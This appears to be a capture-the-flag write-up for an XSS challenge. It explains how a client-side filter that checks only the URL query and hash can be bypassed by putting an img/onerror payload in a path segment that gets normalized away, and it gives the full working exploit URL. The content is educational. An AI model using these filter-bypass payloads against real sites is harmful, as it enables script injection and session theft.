A link to the task.
Author: Godson
Overview
When we click the link, we can see the webpage with a one field form and colorful particles. We don’t have access to the server source code, only to the client-side code.
The frontend code implements:
a redirection to a URL with parameter 'text' from one filed form:
The fragment of client-side code:
...
<form id="textForm" onsubmit="redirectToText(event)">
<h1>Enter your name!</h1>
<label for="inputBox"></label>
<input type="text" id="inputBox" name="inputBox" placeholder="Type here...">
<button type="submit">Submit</button>
</form>
...
function redirectToText(event) {
event.preventDefault();
const inputBox = document.getElementById('inputBox');
const text = encodeURIComponent(inputBox.value);
window.location.href = `/challenge?text=${text}`;
}
...
URL sanitization against XSS and a modal displaying with a user-provided text:
checking against '<' and '>' in search parameter and hash URL parts:
function XSS() {
return decodeURIComponent(window.location.search).includes('<') || decodeURIComponent(window.location.search).includes('>') || decodeURIComponent(window.location.hash).includes('<') || decodeURIComponent(window.location.hash).includes('>')
}
getting 'text' parameter from URL extracted by regex:
function getParameterByName(name) {
var url = window.location.href;
name = name.replace(/[\[\]]/g, "\\$&");
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)");
results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
displaying 'text' with modal dangerous attribute 'innerHtml':
function checkQueryParam() {
const text = getParameterByName('text');
if (text && XSS() === false) {
const modal = document.getElementById('modal');
const modalText = document.getElementById('modalText');
modalText.innerHTML = `Welcome, ${text}!`;
textForm.remove()
modal.style.display = 'flex';
}
}
window.onload = function () {
...
checkQueryParam();
};
At this stage we know that `innerHtml` should include the alert, but we need to omit the sanitization.
Solution idea
The solution exploits a broken parsing for URL.
The frontend function `XSS` only checks for XSS in 'search' and 'fragment', but not the 'path'.
URL = SCHEME:// ADRESS PATH ? SEARCH # FRAGMENT
If we insert:
'&text=[PAYLOAD]'
in the path, the frontend function `XSS` doesn't detect HTML tags.
(While it matches to regex in `getParameterByName`. The `getParameterByName` result is later displayed in modal with `innerText`.)
Is it possible to insert '?' or '&' in the path part?
If we insert:
'?' the game is over as we enter the search part,
'&' seems promising as it allows the 'path' part.
Let's try including the payload in the path part while keeping the URL pointing to the same file on the server.
I played with the path for a bit to check for typical path traversal patterns. What seems interesting, we can navigate up to the parent with `%2f..%2f` :
Then, I entered the URL that navigates to challenge and a parent directory back and forth. The webpage parsed it without any complaint and navigated to '/challenge' endpoint:
https://challenge-0125.intigriti.io/challenge%2F..%2fchallenge%2f..%2fchallenge
(decoded to https://challenge-0125.intigriti.io/challenge/../challenge/../challenge)
I haven't seen the backend, but it seems that it normalizes the URL. Most likely, it drops 'challenge%2F..%2fchallenge%2f..%2' and redirects to the right endpoint '/challenge'.
Solution
The final solution includes just getting everything together - we need to include XSS in a dropped URL path part that complies with the regex that extracts “text” parameter. (As the payload we use 'img' with alert in 'onerror', so assigning to 'innerHtml' immediately executes our payload)
Solution:
https://challenge-0125.intigriti.io/challenge%2F..%2f&text=%3Cimg%20src=x%20onerror=alert(document.domain)%3Echallenge%2F..%2fchallenge
Happy hacking! Bye bye!
Post scriptum: First idea
My first unsuccessful ideas was a race condition – “text” parameter is extracted before XSS check is performed:
I tried crafting a long URL with payload after hash - 'text' that includes the image with alert:
url = "URL?#" + ('o'.repeat(2000000)) + "&text=<img src=x onerror=alert(1)>";
changing quickly hash to 'URL#o' before XSS() function is executed, so this function won't detect '<' or '>',
const text = getParameterByName('text'); if (text && XSS() === false) {...}
Changing the URL hash part doesn't reload the webpage, so in theory the attack may be possible, but it needs to be timed well. I couldn't successfully change the URL at the right moment.
What do you think is this solution possible?
You can comment with you thoughts.